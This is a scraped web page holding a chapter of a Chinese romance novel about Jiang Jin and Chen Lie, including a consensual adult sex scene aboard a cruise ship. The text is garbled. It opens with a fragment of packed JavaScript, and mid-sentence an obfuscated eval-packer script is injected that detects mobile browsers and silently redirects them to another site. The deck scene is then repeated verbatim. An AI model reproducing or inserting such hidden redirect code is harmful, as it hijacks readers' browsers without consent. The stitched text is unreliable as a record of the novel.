d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她伸手点着陈列胸口:“你会觉得我虚荣吗?” “会。”陈列点头:“但,也挺好。” 他一度是个丧失了人生目标的人。 如若她不虚荣,他简直不知赚了钱该用到哪里。 “陈列。”姜堇这样唤他一声,侧脸贴住他心口,好似听他有力心跳。 “嗯?” 她静了许久,尔后开口:“今晚那款香槟偏酸,我喜欢甜一点的。” 陈列:“好,明年要甜的。” 在她静默的半分钟里,陈列直觉她要说的并非一款香槟。 可她原本要说的是什么?陈列想,她会想说爱他么?哪怕只是情绪涌动的一个瞬间? 可她这样的人永不会说这样的话,陈列也永不会追问,他只是扶着她纤细腰肢,看她染酒气的柔软双唇贴过来吻自己。 又低声说:“我现在觉得没其他人也挺好的。” “嗯?”陈列低沉地问:“什么意思?” “陈列,你跟着我学坏了。”姜堇笑起来:“你明知道我是什么意思。” 她今晚穿一件裙摆蓬开的礼服,裙摆上缀满碎钻,像漫天星辰落她满身,她是星光簇拥间那轮清寒的月,终归这一瞬落入凡人怀抱。 陈列紧紧拥着她腰,也许到她都微微吃痛的地步。 可是拥住一轮月亮,是要有这样的决心、勇气和不管不顾的。 姜堇凑在他耳边说:“你知不知道这样的礼服很难解开?” “不知道。”他上哪儿知道去。 “那……”姜堇清秀的鼻尖碰碰他耳垂,声音近乎蛊惑:“不如你直接把它扯下来。” 他拽住姜堇的裙摆向下用力。 月光下,若打一个俯视镜头的话,能看到姜堇一片雪白的背脊,蝴蝶骨微微舒张,像月下振翅的蝶。可若从陈列仰视的视角,更是一片盛景。 她以成年女性的丰饶,和十七岁天真的风情,来引诱他。 陈列阖上眼:“确定在这?” 姜堇的语调近似无邪:“这里有星星。” 陈列掀开她裙摆,遂她的意。甲板上没铺毯子,他不想让她躺下,于是掌着她腰,帮她起伏着掌握主动拳。 她双眼迷离着摁住他胸口,看起来真醉了,眼底水光迸溅,小口喘息着。 他忍不住抬手刮擦她胸前:“阿堇,你像一个梦。” 她笑起来:“那我是美梦,还是噩梦?” 他理一理她裙摆,帮她动作更顺畅些。那样盛大到浮夸的裙子,让她看起来又似一份礼物。 她脱力地伏在他耳边,似说喃喃情话:“我是礼物,还是诅咒?” 他说不清。 直到现在还说不清。 可无论美梦还是噩梦,礼物还是诅咒,它们都有一个共性,让人沉迷,让人欲罢不能。 他坐起来将她猛摁向自己怀里,脸埋进她颈窝沉沉吐息,灼热到几乎烫着她柔腻皮肤。 他唯一清楚的是: 他将永远跟她这样纠缠下去,不死不休。 74. 依恋 翌日,姜堇和陈列收拾行李赶赴机场。 下楼以后,姜堇拖着行李箱忽地停了脚步。 陈列回眸:“要上楼再跟阿姨说一声‘再见’吗?” 姜堇摇摇头:“不用了。” 已经足够了。 这个春节籍由陈列的关系,她给白柳絮当了一天的“阿堇”,白柳絮犹嫌不够,于是在这两周里,她唤白柳絮“妈妈”,白柳絮应她“阿堇”。 真的已经足够了。哪怕下次回国的时候,白柳絮又已不认得她,可至少母女俩在错乱的记忆时空里,有过一次依恋的重逢。 姜堇不要再待下去,不要再待到白柳絮又情绪失控不认得她的那天。 她拖着行李箱大跨步向前走去。 登机后姜堇去往头等舱,先就给自己要了杯香槟。 飞机进入平流层后,她开始沉睡。 陈列坐在她的一侧看她。 其实头等舱的座位对她来说太大了、也太空了。无论她睡在多大的空间里,她永远把自己蜷起来,睡成一个婴儿在母体子宫里的姿势。 她的睡姿永远这样,陈列甚至因此去翻了心理学的书。 书上说,这样的人缺乏安全感。 姜堇缺乏安全感么?在她醒着的时候一点看不出来,她永远轰轰烈烈,永远炽热燃烧,你觉得她像朵早开的玫瑰不知何时便要凋谢,她却盛放得比所有人都要久。 只是当飞机遭遇气流忽一颠簸时,她浑身跟着一抖,张开眼来。 迷蒙中看见陈列,绽开笑道:“你看着我做什么?” 机舱里灯已熄灭,她压出气声,似私密耳语。 陈列同样压低声回她:“看你睡觉。” “我有没有流口水?” “没有。” “那我睡觉什么样?” “像只小动物。”陈列说。 像只被遗弃的小动物。 姜堇半耷着眼皮醒了一阵神,伸手叫陈列:“过来。” 陈列走过去握住她手。她往边上缩了缩,所需的位置也就这么小小一块。在被空姐勒令回座以前,陈列暂且坐进她座椅,展开手臂圈住她,往舷窗外望去,才发现此刻电闪雷鸣。 “要是飞机失事了怎么办?”姜堇问。 “也没什么大不了的。”陈列轻描淡写地答。 “也是。”姜堇阖上眼微笑,在陈列臂弯里又一次沉沉睡了过去。 飞机顺利抵达非洲时是一个大晴天,他们的生活一如既往,分别服务于各自的组织,虽同在非洲,碰头的机会却并没有那么多。 他不喜欢给姜堇打电话,只发短信。 其实就连短信也没什么可发的,他只是在大风降温时发:[注意保暖。] 又或是在艳阳高照时发:[别中暑。] 姜堇给他回信息过来:[你到底会不会谈恋爱?] 他把手机塞回口袋,沉沉哂笑一声。 组里有新来的女同事,望着陈列俊冷眉眼惊异道:“他竟然会笑?” 陈列的模样太招姑娘喜欢,可沉默寡言的淡漠神情又太拒人千里。 他闲暇时坐在木桩或草堆,有时衔一根烟,有时叼一根草,深邃双眸望向远方的时候漆黑如深潭,屈起一边膝盖,姿态却显得散漫。 陈列是在一天深夜接到国内电话的。 他所在的时区与国内时差七小时,也就是说那时国内正值晌午。 舅舅的声音传来,用家乡方言唤他:“幺儿。” 陈列的心头凛了凛。 “幺儿,你听得清哇?”舅舅的声音随电流声传来:“你老子走了。被人发现喝多了酒,冻死在山里了,谁晓得看着看着要开春了……哎。” 陈列沉默半晌,应一声:“晓得了。” “你回来奔丧哇?” 陈列径直挂了电话,吐出一口浊气来。 他知道总有天他会听到他爸的死讯,行事那般荒唐的人。 他以为那天他会快意,终于甩掉了最大的包袱。 事实上现在他心里陡然一轻,如一个空洞、边缘不规则地溢散开来,是一种闷闷的疼。 他给姜堇发了条信息:[我终于解脱了。] 便不甚在意地把手机塞回兜里。 那位对陈列有意思的年轻女同事,看陈列从晚饭起就坐在外面草垛上:“他不吃饭啊?” “谁晓得。” 一直到住宿区的帐篷都熄了灯,女孩往草原上望一眼,陈列还那样坐着,连姿势都没换过。 她觉得陈列是遇到什么事了。 也许不是什么很大的事,只是心头有些不爽。她觉得自己应该走过去问陈列一句,可又怕陈列抬起眼眸冷冷瞧她一眼,礼貌的,可是拒人于千里之外的。 她叹了口气,终是放弃。 陈列在帐外坐到午夜。 草原上的天是一种瑰奇的蓝紫,星星闪烁得似随时将落满人肩头。一阵吉普车声音响起时陈列眯了眯眼,嘬了下唇间所衔的东西,一丝滋味都没有。 才意识到自己叼着一根草,而不是自己以为的烟。 他从口袋里摸了根烟出来,点了。这时间有人来营地,不知是有什么事。 吉普车停在营地前,一个人影从车里下来,车又遥遥地开走了。 没有一丝光亮的广袤草原上,那只是一个模糊轮廓。 陈列眯眼衔着烟,见那轮廓越来越近,并没打开手电,只是像循着他唇间明灭的一点光亮而来。 他在明处,那人在暗处。 在他辨认出那人以前,那人先开口唤他:“陈列。” 陈列双肩一滞。 他掏出手机点开手电,像是要确认眼前所见并非幻觉。 姜堇抬手挡了一下眼。 “陈列,关了。” 陈列坐着不动。 “陈列,把手电关了。” 陈列终于关了手电,手机随手丢往一边,跌落在草堆上发出闷闷一声。 姜堇走过来。 陈列双眼在一瞬光亮后又陷入黑暗,什么都看不清。他只知道姜堇站在他面前,他能闻见她身上的清馨香气,和皮肤溢散出的点点温度。 他深蹙着眉,没想到姜堇会连夜过来。他很怕姜堇开口,开口问他的心情他的感受。 因为他也说不清,说不清自己是想开罐啤酒庆祝还是对着星星悼念。 然而姜堇什么都没问。 陈列发现从十七岁开始,姜堇就是这样,不发问、不评价、不审视、不好奇。 她只是站在陈列面前,一手绕过他后颈,细瘦的手腕往前一带,将陈列的头揽入她怀中。 说了跟当年一模一样的一句话:“陈列,你真可怜,原来从来没有人爱你。” 那是一个保护的姿势。 那个姿势好像在说:我来爱你。 对陈列倾心的女孩起夜时,撩开帐篷往外看了眼,心想更深露重,陈列总不至于还坐在外面。 可陈列真的还在,坐在草垛上,宛若一尊雕像,手腕架在一边膝头,只是指间多了根明明灭灭的烟头。 还多了个女人。 他们并未交谈,女人只是静静站着,将陈列的头揽入自己怀中,陈列也没说话,只是静静靠着她。 两人的头顶,星辰闪烁,像亘古不变的时光,千万年间的永恒。 女孩翌日起床时,撞见陈列刚巧从帐篷里出来,莫名脸红了下。 他太冷峻。 高大而沉默,肌肉线条并不夸张,只是流畅而紧致,锋锐下颌配漆黑双眸,说不上他是危险、还是带给人强烈安全感。 尤其清晨。 他像一个还未完全苏醒的夜,下颌角挂住的水珠是来不及褪散的夜露,让你忍不住好奇去探究,在你平淡沉睡时,他的怀抱里藏着怎样的故事。 女孩结结巴巴打招呼:“嗨……列哥。” 陈列只是压一压下颌,礼貌而冷淡。 他的神色已恢复如常淡然,看不出昨晚坐到半夜的人是他。 女孩试探着问:“昨晚是不是有人来看你?” “嗯。”陈列还是那般淡淡神情:“我女朋友。” 女孩的心脏一瞬缩紧——他说“女朋友”三个字的语调,到底还是露了他的底,罕见的一丝柔和。 原来他看起来这般强硬,也会依恋人。 他不止爱慕她,他也依恋她。她对他的占有,是摘走了他灵魂心脏位置的小小结晶。 - 莺飞草长间,先是陈列生日,姜堇远赴大洋彼岸没机会露面,只是用国际漫游寄来一个包裹。 陈列打开来,是七十块钱纸币,有明显水渍洇干的痕迹。 姜堇给他打电话,快乐地问他:“陈列,你收到了吗?” “嗯。” “我这边下雪了,我给你寄了七十块钱,还有一片雪。”姜堇咯咯笑起来:“雪早化了对吗?你是看不到了。” 他在非洲草原烈日炎炎,她在冰天雪地里冷得跺脚,小碎步像什么轻快旋律。 “阿堇。” “嗯?” “我想念你。” 他这样的人很少开口说爱,更少开口说想念,那太软弱。可此时他隔着电流,好似闻见她那边的一抹清寒空气,撬开他容易紧抿的唇,清清楚楚地说:“我想念你。” “等我过生日的时候,我就回来了。”姜堇的小碎步衬得她声音愈发欢快些:“陈列,我们一起去过生日吧!去暖和的地方,我这边要冷死了。 “好的。”陈列应道:“好。” 六月时分,姜堇如期返程。 两人请了一天假,姜堇问:“我们去哪里?” 陈列只是说:“跟我走。” 他们飞去非洲的一片公海。 姜堇登上一艘巨型邮轮,左右顾盼一番,奢华船舱内空无一人,只是水晶酒杯叠出高耸香槟塔,玫瑰环绕的字体写着:[姜堇小姐生日快乐。] 姜堇问:“你包的?” 陈列跟在她身后踏上楼梯来:“嗯。” “奢侈。” “因为你虚荣。” “我是虚荣啊。”姜堇笑得肩膀晃起来:“好不容易有钱了,我为什么不享受?去非洲援助是一回事,可我又不是什么伟大修女。” 黑胶唱机放着恰如其分的舞曲,她对陈列伸出一只手臂:“陈先生,能邀你跳舞吗?” “别叫我陈先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15772496|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生。” “那叫什么?”她偏一偏头。 “陈列。”他上前迎向她手臂:“叫我陈列。” 他永远都是陈列。 像影子。像亘古星光。像静静置放在那里永不撤换的静物。 酥皮塔上堆放着大口的鱼子酱,浅粉色香槟是最易入口的年份。她褪去平日草原里的一身装束,换上一条暗色丝绒红裙跌落在他怀里旋转,双颊有玫瑰色的坨红。 “陈列,我觉得我喝多了。”她浅口香槟杯里的酒液洒出来。 “你是喝多了。”陈列接过她手里的酒杯,放置在冷餐台上。 “你呢,你喝多没有?” “或许吧。” “那你就是没喝多。”姜堇摇摇手指,又回头环视舱内:“这样的阵仗,没其他人看见真可惜。” “你需要其他人看见么?”陈列问。 姜堇喝多了话题却极跳跃,拖起他手:“我们去甲板看星星吧!” 声音里有小女孩的雀跃。 陈列随她登上甲板,她踩着高跟鞋步调几乎不稳,陈列在她跌倒以前伸手扶住她:“小心。” 她咯咯笑起来,随意甩脱双脚不知价值几许的高跟鞋,想往甲板正中央走,被起伏的台阶一绊,索性就那样躺了下来。 她躺的地方不平整,陈列无法与她平排,与她躺成一个九十度拐角。 “陈列。”她望着蓝紫色夜空,呼出口腔里香醇的酒气:“你不知道我十七岁时,多想过一个这样的生日。” 十七时她生活在一条结满飘萍的臭水河上,破旧船舱里是老朽的铁锈味。 “我知道。”陈列扬起一只手来,刚好捉住她细瘦脚腕,拇指贴着她踝骨轻轻摩挲。 姜堇脚踝痒痒的,轻挣了一下,忽然想起刚刚舱内的那句标语: [姜堇小姐生日快乐。] 他没写这是她的多少岁生日。 好像这是一份迟来的十七岁生日祝福。他终于有了这样的能力,而他们从未离散。 姜堇撑着手臂从甲板起来,小孩子一样趴到陈列身上,陈列怕她跌落,张开虎口扶住她纤腰。 她伸手点着陈列胸口:“你会觉得我虚荣吗?” “会。”陈列点头:“但,也挺好。” 他一度是个丧失了人生目标的人。 如若她不虚荣,他简直不知赚了钱该用到哪里。 “陈列。”姜堇这样唤他一声,侧脸贴住他心口,好似听他有力心跳。 “嗯?” 她静了许久,尔后开口:“今晚那款香槟偏酸,我喜欢甜一点的。” 陈列:“好,明年要甜的。” 在她静默的半分钟里,陈列直觉她要说的并非一款香槟。 可她原本要说的是什么?陈列想,她会想说爱他么?哪怕只是情绪涌动的一个瞬间? 可她这样的人永不会说这样的话,陈列也永不会追问,他只是扶着她纤细腰肢,看她染酒气的柔软双唇贴过来吻自己。 又低声说:“我现在觉得没其他人也挺好的。” “嗯?”陈列低沉地问:“什么意思?” “陈列,你跟着我学坏了。”姜堇笑起来:“你明知道我是什么意思。” 她今晚穿一件裙摆蓬开的礼服,裙摆上缀满碎钻,像漫天星辰落她满身,她是星光簇拥间那轮清寒的月,终归这一瞬落入凡人怀抱。 陈列紧紧拥着她腰,也许到她都微微吃痛的地步。 可是拥住一轮月亮,是要有这样的决心、勇气和不管不顾的。 姜堇凑在他耳边说:“你知不知道这样的礼服很难解开?” “不知道。”他上哪儿知道去。 “那……”姜堇清秀的鼻尖碰碰他耳垂,声音近乎蛊惑:“不如你直接把它扯下来。” 他拽住姜堇的裙摆向下用力。 月光下,若打一个俯视镜头的话,能看到姜堇一片雪白的背脊,蝴蝶骨微微舒张,像月下振翅的蝶。可若从陈列仰视的视角,更是一片盛景。 她以成年女性的丰饶,和十七岁天真的风情,来引诱他。 陈列阖上眼:“确定在这?” 姜堇的语调近似无邪:“这里有星星。” 陈列掀开她裙摆,遂她的意。甲板上没铺毯子,他不想让她躺下,于是掌着她腰,帮她起伏着掌握主动拳。 她双眼迷离着摁住他胸口,看起来真醉了,眼底水光迸溅,小口喘息着。 他忍不住抬手刮擦她胸前:“阿堇,你像一个梦。” 她笑起来:“那我是美梦,还是噩梦?” 他理一理她裙摆,帮她动作更顺畅些。那样盛大到浮夸的裙子,让她看起来又似一份礼物。 她脱力地伏在他耳边,似说喃喃情话:“我是礼物,还是诅咒?” 他说不清。 直到现在还说不清。 可无论美梦还是噩梦,礼物还是诅咒,它们都有一个共性,让人沉迷,让人欲罢不能。 他坐起来将她猛摁向自己怀里,脸埋进她颈窝沉沉吐息,灼热到几乎烫着她柔腻皮肤。 他唯一清楚的是: 他将永远跟她这样纠缠下去,不死不休。